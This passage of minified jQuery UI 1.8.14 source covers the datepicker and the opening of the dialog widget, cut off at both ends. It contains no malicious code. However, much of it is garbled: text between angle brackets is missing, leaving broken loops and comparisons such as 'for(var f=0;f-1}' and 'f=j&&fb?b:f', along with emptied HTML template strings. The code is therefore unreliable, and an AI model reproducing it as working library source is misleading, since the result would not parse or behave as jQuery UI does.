k};f.setMonth(l(this._get(b,j.match(/MM/)?"monthNames":"monthNamesShort")));f.setDate(l(this._get(b,j.match(/DD/)?"dayNames":"dayNamesShort"))+20-f.getDay())}b.input.attr("size",this._formatDate(b,f).length)}},_inlineDatepicker:function(b,f){var j=a(b);if(!j.hasClass(this.markerClassName)){j.addClass(this.markerClassName).append(f.dpDiv).bind("setData.datepicker", function(l,o,n){f.settings[o]=n}).bind("getData.datepicker",function(l,o){return this._get(f,o)});a.data(b,"datepicker",f);this._setDate(f,this._getDefaultDate(f),true);this._updateDatepicker(f);this._updateAlternate(f);f.dpDiv.show()}},_dialogDatepicker:function(b,f,j,l,o){b=this._dialogInst;if(!b){this.uuid+=1;this._dialogInput=a('');this._dialogInput.keydown(this._doKeyDown);a("body").append(this._dialogInput); b=this._dialogInst=this._newInst(this._dialogInput,false);b.settings={};a.data(this._dialogInput[0],"datepicker",b)}h(b.settings,l||{});f=f&&f.constructor==Date?this._formatDate(b,f):f;this._dialogInput.val(f);this._pos=o?o.length?o:[o.pageX,o.pageY]:null;if(!this._pos)this._pos=[document.documentElement.clientWidth/2-100+(document.documentElement.scrollLeft||document.body.scrollLeft),document.documentElement.clientHeight/2-150+(document.documentElement.scrollTop||document.body.scrollTop)];this._dialogInput.css("left", this._pos[0]+20+"px").css("top",this._pos[1]+"px");b.settings.onSelect=j;this._inDialog=true;this.dpDiv.addClass(this._dialogClass);this._showDatepicker(this._dialogInput[0]);a.blockUI&&a.blockUI(this.dpDiv);a.data(this._dialogInput[0],"datepicker",b);return this},_destroyDatepicker:function(b){var f=a(b),j=a.data(b,"datepicker");if(f.hasClass(this.markerClassName)){var l=b.nodeName.toLowerCase();a.removeData(b,"datepicker");if(l=="input"){j.append.remove();j.trigger.remove();f.removeClass(this.markerClassName).unbind("focus", this._showDatepicker).unbind("keydown",this._doKeyDown).unbind("keypress",this._doKeyPress).unbind("keyup",this._doKeyUp)}else if(l=="div"||l=="span")f.removeClass(this.markerClassName).empty()}},_enableDatepicker:function(b){var f=a(b),j=a.data(b,"datepicker");if(f.hasClass(this.markerClassName)){var l=b.nodeName.toLowerCase();if(l=="input"){b.disabled=false;j.trigger.filter("button").each(function(){this.disabled=false}).end().filter("img").css({opacity:"1.0",cursor:""})}else if(l=="div"||l=="span"){f= f.children("."+this._inlineClass);f.children().removeClass("ui-state-disabled");f.find("select.ui-datepicker-month, select.ui-datepicker-year").removeAttr("disabled")}this._disabledInputs=a.map(this._disabledInputs,function(o){return o==b?null:o})}},_disableDatepicker:function(b){var f=a(b),j=a.data(b,"datepicker");if(f.hasClass(this.markerClassName)){var l=b.nodeName.toLowerCase();if(l=="input"){b.disabled=true;j.trigger.filter("button").each(function(){this.disabled=true}).end().filter("img").css({opacity:"0.5", cursor:"default"})}else if(l=="div"||l=="span"){f=f.children("."+this._inlineClass);f.children().addClass("ui-state-disabled");f.find("select.ui-datepicker-month, select.ui-datepicker-year").attr("disabled","disabled")}this._disabledInputs=a.map(this._disabledInputs,function(o){return o==b?null:o});this._disabledInputs[this._disabledInputs.length]=b}},_isDisabledDatepicker:function(b){if(!b)return false;for(var f=0;f-1}},_doKeyUp:function(b){b=a.datepicker._getInst(b.target);if(b.input.val()!=b.lastVal)try{if(a.datepicker.parseDate(a.datepicker._get(b,"dateFormat"),b.input?b.input.val():null,a.datepicker._getFormatConfig(b))){a.datepicker._setDateFromField(b); a.datepicker._updateAlternate(b);a.datepicker._updateDatepicker(b)}}catch(f){a.datepicker.log(f)}return true},_showDatepicker:function(b){b=b.target||b;if(b.nodeName.toLowerCase()!="input")b=a("input",b.parentNode)[0];if(!(a.datepicker._isDisabledDatepicker(b)||a.datepicker._lastInput==b)){var f=a.datepicker._getInst(b);if(a.datepicker._curInst&&a.datepicker._curInst!=f){a.datepicker._datepickerShowing&&a.datepicker._triggerOnClose(a.datepicker._curInst);a.datepicker._curInst.dpDiv.stop(true,true)}var j= a.datepicker._get(f,"beforeShow");h(f.settings,j?j.apply(b,[b,f]):{});f.lastVal=null;a.datepicker._lastInput=b;a.datepicker._setDateFromField(f);if(a.datepicker._inDialog)b.value="";if(!a.datepicker._pos){a.datepicker._pos=a.datepicker._findPos(b);a.datepicker._pos[1]+=b.offsetHeight}var l=false;a(b).parents().each(function(){l|=a(this).css("position")=="fixed";return!l});if(l&&a.browser.opera){a.datepicker._pos[0]-=document.documentElement.scrollLeft;a.datepicker._pos[1]-=document.documentElement.scrollTop}j= {left:a.datepicker._pos[0],top:a.datepicker._pos[1]};a.datepicker._pos=null;f.dpDiv.empty();f.dpDiv.css({position:"absolute",display:"block",top:"-1000px"});a.datepicker._updateDatepicker(f);j=a.datepicker._checkOffset(f,j,l);f.dpDiv.css({position:a.datepicker._inDialog&&a.blockUI?"static":l?"fixed":"absolute",display:"none",left:j.left+"px",top:j.top+"px"});if(!f.inline){j=a.datepicker._get(f,"showAnim");var o=a.datepicker._get(f,"duration"),n=function(){var k=f.dpDiv.find("iframe.ui-datepicker-cover"); if(k.length){var m=a.datepicker._getBorders(f.dpDiv);k.css({left:-m[0],top:-m[1],width:f.dpDiv.outerWidth(),height:f.dpDiv.outerHeight()})}};f.dpDiv.zIndex(a(b).zIndex()+1);a.datepicker._datepickerShowing=true;a.effects&&a.effects[j]?f.dpDiv.show(j,a.datepicker._get(f,"showOptions"),o,n):f.dpDiv[j||"show"](j?o:null,n);if(!j||!o)n();f.input.is(":visible")&&!f.input.is(":disabled")&&f.input.focus();a.datepicker._curInst=f}}},_updateDatepicker:function(b){this.maxRows=4;var f=a.datepicker._getBorders(b.dpDiv); i=b;b.dpDiv.empty().append(this._generateHTML(b));var j=b.dpDiv.find("iframe.ui-datepicker-cover");j.length&&j.css({left:-f[0],top:-f[1],width:b.dpDiv.outerWidth(),height:b.dpDiv.outerHeight()});b.dpDiv.find("."+this._dayOverClass+" a").mouseover();f=this._getNumberOfMonths(b);j=f[1];b.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width("");j>1&&b.dpDiv.addClass("ui-datepicker-multi-"+j).css("width",17*j+"em");b.dpDiv[(f[0]!=1||f[1]!=1?"add":"remove")+"Class"]("ui-datepicker-multi"); b.dpDiv[(this._get(b,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl");b==a.datepicker._curInst&&a.datepicker._datepickerShowing&&b.input&&b.input.is(":visible")&&!b.input.is(":disabled")&&b.input[0]!=document.activeElement&&b.input.focus();if(b.yearshtml){var l=b.yearshtml;setTimeout(function(){l===b.yearshtml&&b.yearshtml&&b.dpDiv.find("select.ui-datepicker-year:first").replaceWith(b.yearshtml);l=b.yearshtml=null},0)}},_getBorders:function(b){var f=function(j){return{thin:1,medium:2,thick:3}[j]|| j};return[parseFloat(f(b.css("border-left-width"))),parseFloat(f(b.css("border-top-width")))]},_checkOffset:function(b,f,j){var l=b.dpDiv.outerWidth(),o=b.dpDiv.outerHeight(),n=b.input?b.input.outerWidth():0,k=b.input?b.input.outerHeight():0,m=document.documentElement.clientWidth+a(document).scrollLeft(),p=document.documentElement.clientHeight+a(document).scrollTop();f.left-=this._get(b,"isRTL")?l-n:0;f.left-=j&&f.left==b.input.offset().left?a(document).scrollLeft():0;f.top-=j&&f.top==b.input.offset().top+ k?a(document).scrollTop():0;f.left-=Math.min(f.left,f.left+l>m&&m>l?Math.abs(f.left+l-m):0);f.top-=Math.min(f.top,f.top+o>p&&p>o?Math.abs(o+k):0);return f},_findPos:function(b){for(var f=this._get(this._getInst(b),"isRTL");b&&(b.type=="hidden"||b.nodeType!=1||a.expr.filters.hidden(b));)b=b[f?"previousSibling":"nextSibling"];b=a(b).offset();return[b.left,b.top]},_triggerOnClose:function(b){var f=this._get(b,"onClose");if(f)f.apply(b.input?b.input[0]:null,[b.input?b.input.val():"",b])},_hideDatepicker:function(b){var f= this._curInst;if(!(!f||b&&f!=a.data(b,"datepicker")))if(this._datepickerShowing){b=this._get(f,"showAnim");var j=this._get(f,"duration"),l=function(){a.datepicker._tidyDialog(f);this._curInst=null};a.effects&&a.effects[b]?f.dpDiv.hide(b,a.datepicker._get(f,"showOptions"),j,l):f.dpDiv[b=="slideDown"?"slideUp":b=="fadeIn"?"fadeOut":"hide"](b?j:null,l);b||l();a.datepicker._triggerOnClose(f);this._datepickerShowing=false;this._lastInput=null;if(this._inDialog){this._dialogInput.css({position:"absolute", left:"0",top:"-100px"});if(a.blockUI){a.unblockUI();a("body").append(this.dpDiv)}}this._inDialog=false}},_tidyDialog:function(b){b.dpDiv.removeClass(this._dialogClass).unbind(".ui-datepicker-calendar")},_checkExternalClick:function(b){if(a.datepicker._curInst){b=a(b.target);b[0].id!=a.datepicker._mainDivId&&b.parents("#"+a.datepicker._mainDivId).length==0&&!b.hasClass(a.datepicker.markerClassName)&&!b.hasClass(a.datepicker._triggerClass)&&a.datepicker._datepickerShowing&&!(a.datepicker._inDialog&& a.blockUI)&&a.datepicker._hideDatepicker()}},_adjustDate:function(b,f,j){b=a(b);var l=this._getInst(b[0]);if(!this._isDisabledDatepicker(b[0])){this._adjustInstDate(l,f+(j=="M"?this._get(l,"showCurrentAtPos"):0),j);this._updateDatepicker(l)}},_gotoToday:function(b){b=a(b);var f=this._getInst(b[0]);if(this._get(f,"gotoCurrent")&&f.currentDay){f.selectedDay=f.currentDay;f.drawMonth=f.selectedMonth=f.currentMonth;f.drawYear=f.selectedYear=f.currentYear}else{var j=new Date;f.selectedDay=j.getDate();f.drawMonth= f.selectedMonth=j.getMonth();f.drawYear=f.selectedYear=j.getFullYear()}this._notifyChange(f);this._adjustDate(b)},_selectMonthYear:function(b,f,j){b=a(b);var l=this._getInst(b[0]);l._selectingMonthYear=false;l["selected"+(j=="M"?"Month":"Year")]=l["draw"+(j=="M"?"Month":"Year")]=parseInt(f.options[f.selectedIndex].value,10);this._notifyChange(l);this._adjustDate(b)},_clickMonthYear:function(b){var f=this._getInst(a(b)[0]);f.input&&f._selectingMonthYear&&setTimeout(function(){f.input.focus()},0);f._selectingMonthYear= !f._selectingMonthYear},_selectDay:function(b,f,j,l){var o=a(b);if(!(a(l).hasClass(this._unselectableClass)||this._isDisabledDatepicker(o[0]))){o=this._getInst(o[0]);o.selectedDay=o.currentDay=a("a",l).html();o.selectedMonth=o.currentMonth=f;o.selectedYear=o.currentYear=j;this._selectDate(b,this._formatDate(o,o.currentDay,o.currentMonth,o.currentYear))}},_clearDate:function(b){b=a(b);this._getInst(b[0]);this._selectDate(b,"")},_selectDate:function(b,f){b=this._getInst(a(b)[0]);f=f!=null?f:this._formatDate(b); b.input&&b.input.val(f);this._updateAlternate(b);var j=this._get(b,"onSelect");if(j)j.apply(b.input?b.input[0]:null,[f,b]);else b.input&&b.input.trigger("change");if(b.inline)this._updateDatepicker(b);else{this._hideDatepicker();this._lastInput=b.input[0];typeof b.input[0]!="object"&&b.input.focus();this._lastInput=null}},_updateAlternate:function(b){var f=this._get(b,"altField");if(f){var j=this._get(b,"altFormat")||this._get(b,"dateFormat"),l=this._getDate(b),o=this.formatDate(j,l,this._getFormatConfig(b)); a(f).each(function(){a(this).val(o)})}},noWeekends:function(b){b=b.getDay();return[b>0&&b<6,""]},iso8601Week:function(b){b=new Date(b.getTime());b.setDate(b.getDate()+4-(b.getDay()||7));var f=b.getTime();b.setMonth(0);b.setDate(1);return Math.floor(Math.round((f-b)/864E5)/7)+1},parseDate:function(b,f,j){if(b==null||f==null)throw"Invalid arguments";f=typeof f=="object"?f.toString():f+"";if(f=="")return null;var l=(j?j.shortYearCutoff:null)||this._defaults.shortYearCutoff;l=typeof l!="string"?l:(new Date).getFullYear()% 100+parseInt(l,10);for(var o=(j?j.dayNamesShort:null)||this._defaults.dayNamesShort,n=(j?j.dayNames:null)||this._defaults.dayNames,k=(j?j.monthNamesShort:null)||this._defaults.monthNamesShort,m=(j?j.monthNames:null)||this._defaults.monthNames,p=j=-1,q=-1,s=-1,r=false,u=function(z){(z=H+1-1){p=1;q=s;do{l=this._getDaysInMonth(j,p-1);if(q<=l)break;p++;q-=l}while(1)}C=this._daylightSavingAdjust(new Date(j,p-1,q));if(C.getFullYear()!=j||C.getMonth()+1!=p||C.getDate()!=q)throw"Invalid date";return C},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y", TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925))*24*60*60*1E7,formatDate:function(b,f,j){if(!f)return"";var l=(j?j.dayNamesShort:null)||this._defaults.dayNamesShort,o=(j?j.dayNames:null)||this._defaults.dayNames,n=(j?j.monthNamesShort:null)||this._defaults.monthNamesShort;j=(j?j.monthNames:null)||this._defaults.monthNames;var k=function(u){(u=r+112?b.getHours()+2:0);return b},_setDate:function(b,f,j){var l=!f,o=b.selectedMonth,n=b.selectedYear;f=this._restrictMinMax(b,this._determineDate(b,f,new Date));b.selectedDay= b.currentDay=f.getDate();b.drawMonth=b.selectedMonth=b.currentMonth=f.getMonth();b.drawYear=b.selectedYear=b.currentYear=f.getFullYear();if((o!=b.selectedMonth||n!=b.selectedYear)&&!j)this._notifyChange(b);this._adjustInstDate(b);if(b.input)b.input.val(l?"":this._formatDate(b))},_getDate:function(b){return!b.currentYear||b.input&&b.input.val()==""?null:this._daylightSavingAdjust(new Date(b.currentYear,b.currentMonth,b.currentDay))},_generateHTML:function(b){var f=new Date;f=this._daylightSavingAdjust(new Date(f.getFullYear(), f.getMonth(),f.getDate()));var j=this._get(b,"isRTL"),l=this._get(b,"showButtonPanel"),o=this._get(b,"hideIfNoPrevNext"),n=this._get(b,"navigationAsDateFormat"),k=this._getNumberOfMonths(b),m=this._get(b,"showCurrentAtPos"),p=this._get(b,"stepMonths"),q=k[0]!=1||k[1]!=1,s=this._daylightSavingAdjust(!b.currentDay?new Date(9999,9,9):new Date(b.currentYear,b.currentMonth,b.currentDay)),r=this._getMinMaxDate(b,"min"),u=this._getMinMaxDate(b,"max");m=b.drawMonth-m;var v=b.drawYear;if(m<0){m+=12;v--}if(u){var w= this._daylightSavingAdjust(new Date(u.getFullYear(),u.getMonth()-k[0]*k[1]+1,u.getDate()));for(w=r&&ww;){m--;if(m<0){m=11;v--}}}b.drawMonth=m;b.drawYear=v;w=this._get(b,"prevText");w=!n?w:this.formatDate(w,this._daylightSavingAdjust(new Date(v,m-p,1)),this._getFormatConfig(b));w=this._canAdjustMonth(b,-1,v,m)?''+w+"":o?"":''+w+"";var x=this._get(b,"nextText");x=!n?x:this.formatDate(x,this._daylightSavingAdjust(new Date(v,m+p,1)),this._getFormatConfig(b));o=this._canAdjustMonth(b,+1,v,m)?''+x+"":o?"":''+x+"";p=this._get(b,"currentText");x=this._get(b,"gotoCurrent")&&b.currentDay?s:f;p=!n?p:this.formatDate(p,x,this._getFormatConfig(b));n=!b.inline?'":"";l=l?'
      '+(j?n:"")+(this._isInRange(b,x)?'":"")+(j?"":n)+"
      ":"";n=parseInt(this._get(b,"firstDay"),10);n=isNaN(n)?0:n;p=this._get(b,"showWeek");x=this._get(b,"dayNames");this._get(b,"dayNamesShort");var y=this._get(b,"dayNamesMin"),H= this._get(b,"monthNames"),C=this._get(b,"monthNamesShort"),z=this._get(b,"beforeShowDay"),I=this._get(b,"showOtherMonths"),N=this._get(b,"selectOtherMonths");this._get(b,"calculateWeek");for(var J=this._getDefaultDate(b),D="",E=0;E1)switch(L){case 0:F+=" ui-datepicker-group-first";B=" ui-corner-"+(j?"right": "left");break;case k[1]-1:F+=" ui-datepicker-group-last";B=" ui-corner-"+(j?"left":"right");break;default:F+=" ui-datepicker-group-middle";B="";break}F+='">'}F+='
      '+(/all|left/.test(B)&&E==0?j?o:w:"")+(/all|right/.test(B)&&E==0?j?w:o:"")+this._generateMonthYearHeader(b,m,v,r,u,E>0||L>0,H,C)+'
      ';var G=p?'": "";for(B=0;B<7;B++){var A=(B+n)%7;G+="=5?' class="ui-datepicker-week-end"':"")+'>'+y[A]+""}F+=G+"";G=this._getDaysInMonth(v,m);if(v==b.selectedYear&&m==b.selectedMonth)b.selectedDay=Math.min(b.selectedDay,G);B=(this._getFirstDayOfMonth(v,m)-n+7)%7;G=Math.ceil((B+G)/7);this.maxRows=G=q?this.maxRows>G?this.maxRows:G:G;A=this._daylightSavingAdjust(new Date(v,m,1-B));for(var R=0;R";var S=!p?"":'";for(B=0;B<7;B++){var M=z?z.apply(b.input?b.input[0]:null,[A]):[true,""],K=A.getMonth()!=m,O=K&&!N||!M[0]||r&&Au;S+='";A.setDate(A.getDate()+1);A=this._daylightSavingAdjust(A)}F+=S+""}m++;if(m>11){m=0;v++}F+="
      '+this._get(b,"weekHeader")+"
      '+ this._get(b,"calculateWeek")(A)+""+(K&&!I?" ":O?''+A.getDate()+"":''+ A.getDate()+"")+"
      "+(q?""+(k[0]>0&&L==k[1]-1?'
      ':""):"");P+=F}D+=P}D+=l+(a.browser.msie&&parseInt(a.browser.version,10)<7&&!b.inline?'':"");b._keyEvent=false;return D},_generateMonthYearHeader:function(b,f,j,l,o,n,k,m){var p=this._get(b,"changeMonth"), q=this._get(b,"changeYear"),s=this._get(b,"showMonthAfterYear"),r='
      ',u="";if(n||!p)u+=''+k[f]+"";else{k=l&&l.getFullYear()==j;var v=o&&o.getFullYear()==j;u+='"}s||(r+=u+(n||!(p&&q)?" ":""));if(!b.yearshtml){b.yearshtml="";if(n||!q)r+=''+j+"";else{m=this._get(b,"yearRange").split(":");var x=(new Date).getFullYear();k=function(y){y=y.match(/c[+-].*/)?j+parseInt(y.substring(1),10):y.match(/[+-].*/)?x+parseInt(y,10):parseInt(y,10);return isNaN(y)?x:y};f=k(m[0]);m=Math.max(f,k(m[1]||""));f=l?Math.max(f,l.getFullYear()):f;m=o?Math.min(m,o.getFullYear()): m;for(b.yearshtml+='";r+=b.yearshtml;b.yearshtml=null}}r+=this._get(b,"yearSuffix");if(s)r+=(n||!(p&&q)?" ":"")+u;r+="
      ";return r},_adjustInstDate:function(b,f,j){var l=b.drawYear+(j== "Y"?f:0),o=b.drawMonth+(j=="M"?f:0);f=Math.min(b.selectedDay,this._getDaysInMonth(l,o))+(j=="D"?f:0);l=this._restrictMinMax(b,this._daylightSavingAdjust(new Date(l,o,f)));b.selectedDay=l.getDate();b.drawMonth=b.selectedMonth=l.getMonth();b.drawYear=b.selectedYear=l.getFullYear();if(j=="M"||j=="Y")this._notifyChange(b)},_restrictMinMax:function(b,f){var j=this._getMinMaxDate(b,"min");b=this._getMinMaxDate(b,"max");f=j&&fb?b:f},_notifyChange:function(b){var f=this._get(b,"onChangeMonthYear"); if(f)f.apply(b.input?b.input[0]:null,[b.selectedYear,b.selectedMonth+1,b])},_getNumberOfMonths:function(b){b=this._get(b,"numberOfMonths");return b==null?[1,1]:typeof b=="number"?[1,b]:b},_getMinMaxDate:function(b,f){return this._determineDate(b,this._get(b,f+"Date"),null)},_getDaysInMonth:function(b,f){return 32-this._daylightSavingAdjust(new Date(b,f,32)).getDate()},_getFirstDayOfMonth:function(b,f){return(new Date(b,f,1)).getDay()},_canAdjustMonth:function(b,f,j,l){var o=this._getNumberOfMonths(b); j=this._daylightSavingAdjust(new Date(j,l+(f<0?f:o[0]*o[1]),1));f<0&&j.setDate(this._getDaysInMonth(j.getFullYear(),j.getMonth()));return this._isInRange(b,j)},_isInRange:function(b,f){var j=this._getMinMaxDate(b,"min");b=this._getMinMaxDate(b,"max");return(!j||f.getTime()>=j.getTime())&&(!b||f.getTime()<=b.getTime())},_getFormatConfig:function(b){var f=this._get(b,"shortYearCutoff");f=typeof f!="string"?f:(new Date).getFullYear()%100+parseInt(f,10);return{shortYearCutoff:f,dayNamesShort:this._get(b, "dayNamesShort"),dayNames:this._get(b,"dayNames"),monthNamesShort:this._get(b,"monthNamesShort"),monthNames:this._get(b,"monthNames")}},_formatDate:function(b,f,j,l){if(!f){b.currentDay=b.selectedDay;b.currentMonth=b.selectedMonth;b.currentYear=b.selectedYear}f=f?typeof f=="object"?f:this._daylightSavingAdjust(new Date(l,j,f)):this._daylightSavingAdjust(new Date(b.currentYear,b.currentMonth,b.currentDay));return this.formatDate(this._get(b,"dateFormat"),f,this._getFormatConfig(b))}});a.fn.datepicker= function(b){if(!this.length)return this;if(!a.datepicker.initialized){a(document).mousedown(a.datepicker._checkExternalClick).find("body").append(a.datepicker.dpDiv);a.datepicker.initialized=true}var f=Array.prototype.slice.call(arguments,1);if(typeof b=="string"&&(b=="isDisabled"||b=="getDate"||b=="widget"))return a.datepicker["_"+b+"Datepicker"].apply(a.datepicker,[this[0]].concat(f));if(b=="option"&&arguments.length==2&&typeof arguments[1]=="string")return a.datepicker["_"+b+"Datepicker"].apply(a.datepicker, [this[0]].concat(f));return this.each(function(){typeof b=="string"?a.datepicker["_"+b+"Datepicker"].apply(a.datepicker,[this].concat(f)):a.datepicker._attachDatepicker(this,b)})};a.datepicker=new c;a.datepicker.initialized=false;a.datepicker.uuid=(new Date).getTime();a.datepicker.version="1.8.14";window["DP_jQuery_"+g]=a})(jQuery); (function(a,d){var c={buttons:true,height:true,maxHeight:true,maxWidth:true,minHeight:true,minWidth:true,width:true},e={maxHeight:true,maxWidth:true,minHeight:true,minWidth:true},h=a.attrFn||{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true,click:true};a.widget("ui.dialog",{options:{autoOpen:true,buttons:{},closeOnEscape:true,closeText:"close",dialogClass:"",draggable:true,hide:null,height:"auto",maxHeight:false,maxWidth:false,minHeight:150,minWidth:150,modal:false, position:{my:"center",at:"center",collision:"fit",using:function(g){var i=a(this).css(g).offset().top;i<0&&a(this).css("top",g.top-i)}},resizable:true,show:null,stack:true,title:"",width:300,zIndex:1E3},_create:function(){this.originalTitle=this.element.attr("title");if(typeof this.originalTitle!=="string")this.originalTitle="";this.options.title=this.options.title||this.originalTitle;var g=this,i=g.options,b=i.title||" ",f=a.ui.dialog.getTitleId(g.element),j=(g.uiDialog=a("
      ")).appendTo(document.body).hide().addClass("ui-dialog ui-widget ui-widget-content ui-corner-all "+ i.dialogClass).css({zIndex:i.zIndex}).attr("tabIndex",-1).css("outline",0).keydown(function(n){if(i.closeOnEscape&&n.keyCode&&n.keyCode===a.ui.keyCode.ESCAPE){g.close(n);n.preventDefault()}}).attr({role:"dialog","aria-labelledby":f}).mousedown(function(n){g.moveToTop(false,n)});g.element.show().removeAttr("title").addClass("ui-dialog-content ui-widget-content").appendTo(j);var l=(g.uiDialogTitlebar=a("
      ")).addClass("ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix").prependTo(j), o=a('').addClass("ui-dialog-titlebar-close ui-corner-all").attr("role","button").hover(function(){o.addClass("ui-state-hover")},function(){o.removeClass("ui-state-hover")}).focus(function(){o.addClass("ui-state-focus")}).blur(function(){o.removeClass("ui-state-focus")}).click(function(n){g.close(n);return false}).appendTo(l);(g.uiDialogTitlebarCloseText=a("")).addClass("ui-icon ui-icon-closethick").text(i.closeText).appendTo(o);a("").addClass("ui-dialog-title").attr("id", f).html(b).prependTo(l);if(a.isFunction(i.beforeclose)&&!a.isFunction(i.beforeClose))i.beforeClose=i.beforeclose;l.find("*").add(l).disableSelection();i.draggable&&a.fn.draggable&&g._makeDraggable();i.resizable&&a.fn.resizable&&g._makeResizable();g._createButtons(i.buttons);g._isOpen=false;a.fn.bgiframe&&j.bgiframe()},_init:function(){this.options.autoOpen&&this.open()},destroy:function(){var g=this;g.overlay&&g.overlay.destroy();g.uiDialog.hide();g.element.unbind(".dialog").removeData("dialog").removeClass("ui-dialog-content ui-widget-content").hide().appendTo("body"); g.uiDialog.remove();g.originalTitle&&g.element.attr("title",g.originalTitle);return g},widget:function(){return this.uiDialog},close:function(g){var i=this,b,f;if(false!==i._trigger("beforeClose",g)){i.overlay&&i.overlay.destroy();i.uiDialog.unbind("keypress.ui-dialog");i._isOpen=false;if(i.options.hide)i.uiDialog.hide(i.options.hide,function(){i._trigger("close",g)});else{i.uiDialog.hide();i._trigger("close",g)}a.ui.dialog.overlay.resize();if(i.options.modal){b=0;a(".ui-dialog").each(function(){if(this!== i.uiDialog[0]){f=a(this).css("z-index");isNaN(f)||(b=Math.max(b,f))}});a.ui.dialog.maxZ=b}return i}},isOpen:function(){return this._isOpen},moveToTop:function(g,i){var b=this,f=b.options;if(f.modal&&!g||!f.stack&&!f.modal)return b._trigger("focus",i);if(f.zIndex>a.ui.dialog.maxZ)a.ui.dialog.maxZ=f.zIndex;if(b.overlay){a.ui.dialog.maxZ+=1;b.overlay.$el.css("z-index",a.ui.dialog.overlay.maxZ=a.ui.dialog.maxZ)}g={scrollTop:b.element.attr("scrollTop"),scrollLeft:b.element.attr("scrollLeft")};a.ui.dialog.maxZ+= 1;b.uiDialog.css("z-index",a.ui.dialog.maxZ);b.element.attr(g);b._trigger("focus",i);return b},open:function(){if(!this._isOpen){var g=this,i=g.options,b=g.uiDialog;g.overlay=i.modal?new a.ui.dialog.overlay(g):null;g._size();g._position(i.position);b.show(i.show);g.moveToTop(true);i.modal&&b.bind("keypress.ui-dialog",function(f){if(f.keyCode===a.ui.keyCode.TAB){var j=a(":tabbable",this),l=j.filter(":first");j=j.filter(":last");if(f.target===j[0]&&!f.shiftKey){l.focus(1);return false}else if(f.target=== l[0]&&f.shiftKey){j.focus(1);return false}}});a(g.element.find(":tabbable").get().concat(b.find(".ui-dialog-buttonpane :tabbable").get().concat(b.get()))).eq(0).focus();g._isOpen=true;g._trigger("open");return g}},_createButtons:function(g){var i=this,b=false,f=a("
      ").addClass("ui-dialog-buttonpane ui-widget-content ui-helper-clearfix"),j=a("
      ").addClass("ui-dialog-buttonset").appendTo(f);i.uiDialog.find(".ui-dialog-buttonpane").remove();typeof g==="object"&&g!==null&&a.each(g, function(){return!(b=true)});if(b){a.each(g,function(l,o){o=a.isFunction(o)?{click:o,text:l}:o;var n=a('').click(function(){o.click.apply(i.element[0],arguments)}).appendTo(j);a.each(o,function(k,m){if(k!=="click")k in h?n[k](m):n.attr(k,m)});a.fn.button&&n.button()});f.appendTo(i.uiDialog)}},_makeDraggable:function(){function g(l){return{position:l.position,offset:l.offset}}var i=this,b=i.options,f=a(document),j;i.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close", handle:".ui-dialog-titlebar",containment:"document",start:function(l,o){j=b.height==="auto"?"auto":a(this).height();a(this).height(a(this).height()).addClass("ui-dialog-dragging");i._trigger("dragStart",l,g(o))},drag:function(l,o){i._trigger("drag",l,g(o))},stop:function(l,o){b.position=[o.position.left-f.scrollLeft(),o.position.top-f.scrollTop()];a(this).removeClass("ui-dialog-dragging").height(j);i._trigger("dragStop",l,g(o));a.ui.dialog.overlay.resize()}})},_makeResizable:function(g){function i(l){return{originalPosition:l.originalPosition, originalSize:l.originalSize,position:l.position,size:l.size}}g=g===d?this.options.resizable:g;var b=this,f=b.options,j=b.uiDialog.css("position");g=typeof g==="string"?g:"n,e,s,w,se,sw,ne,nw";b.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:b.element,maxWidth:f.maxWidth,maxHeight:f.maxHeight,minWidth:f.minWidth,minHeight:b._minHeight(),handles:g,start:function(l,o){a(this).addClass("ui-dialog-resizing");b._trigger("resizeStart",l,i(o))},resize:function(l,o){b._trigger("resize", l,i(o))},stop:function(l,o){a(this).removeClass("ui-dialog-resizing");f.height=a(this).height();f.width=a(this).width();b._trigger("resizeStop",l,i(o));a.ui.dialog.overlay.resize()}}).css("position",j).find(".ui-resizable-se").addClass("ui-icon ui-icon-grip-diagonal-se")},_minHeight:function(){var g=this.options;return g.height==="auto"?g.minHeight:Math.min(g.minHeight,g.height)},_position:function(g){var i=[],b=[0,0],f;if(g){if(typeof g==="string"||typeof g==="object"&&"0"in g){i=g.split?g.split(" "): [g[0],g[1]];if(i.length===1)i[1]=i[0];a.each(["left","top"],function(j,l){if(+i[j]===i[j]){b[j]=i[j];i[j]=l}});g={my:i.join(" "),at:i.join(" "),offset:b.join(" ")}}g=a.extend({},a.ui.dialog.prototype.options.position,g)}else g=a.ui.dialog.prototype.options.position;(f=this.uiDialog.is(":visible"))||this.uiDialog.show();this.uiDialog.css({top:0,left:0}).position(a.extend({of:window},g));f||this.uiDialog.hide()},_setOptions:function(g){var i=this,b={},f=false;a.each(g,function(j,l){i._setOption(j,l); if(j in c)f=true;if(j in e)b[j]=l});f&&this._size();this.uiDialog.is(":data(resizable)")&&this.uiDialog.resizable("option",b)},_setOption:function(g,i){var b=this,f=b.uiDialog;switch(g){case "beforeclose":g="beforeClose";break;case "buttons":b._createButtons(i);break;case "closeText":b.uiDialogTitlebarCloseText.text(""+i);break;case "dialogClass":f.removeClass(b.options.dialogClass).addClass("ui-dialog ui-widget ui-widget-content ui-corner-all "+i);break;case "disabled":i?f.addClass("ui-dialog-disabled"): f.removeClass("ui-dialog-disabled");break;case "draggable":var j=f.is(":data(draggable)");j&&!i&&f.draggable("destroy");!j&&i&&b._makeDraggable();break;case "position":b._position(i);break;case "resizable":(j=f.is(":data(resizable)"))&&!i&&f.resizable("destroy");j&&typeof i==="string"&&f.resizable("option","handles",i);!j&&i!==false&&b._makeResizable(i);break;case "title":a(".ui-dialog-title",b.uiDialogTitlebar).html(""+(i||" "));break}a.Widget.prototype._setOption.apply(b,arguments)},_size:function(){var g= 